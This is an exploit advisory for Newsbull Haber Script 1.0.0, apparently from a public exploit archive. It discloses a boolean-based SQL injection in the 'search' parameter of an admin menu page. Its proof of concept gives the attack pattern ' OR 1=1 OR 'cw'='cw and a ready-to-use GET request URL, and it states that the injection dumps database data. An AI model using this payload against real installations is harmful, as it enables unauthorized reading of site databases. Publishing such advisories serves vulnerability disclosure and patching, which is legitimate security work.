####################################################################
# Exploit Title: Newsbull Haber Script - (Boolean) SQL Injection
# Dork: N/A
# Date: 28-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://newsbull.org/
# Software Link: https://github.com/gurkanuzunca/newsbull
# Version: 1.0.0
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
####################################################################
# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg
####################################################################
# POC - SQLi (Boolean Based)
# Parameters : search
# Attack Pattern : ' OR 1=1 OR 'cw'='cw
# GET Request : http://localhost/newsbull/admin/menu/childs/5?search=1'[SQL]
# URL : http://localhost/newsbull/admin/menu/childs/5?search=' OR 1=1 OR 'cw'='cw
####################################################################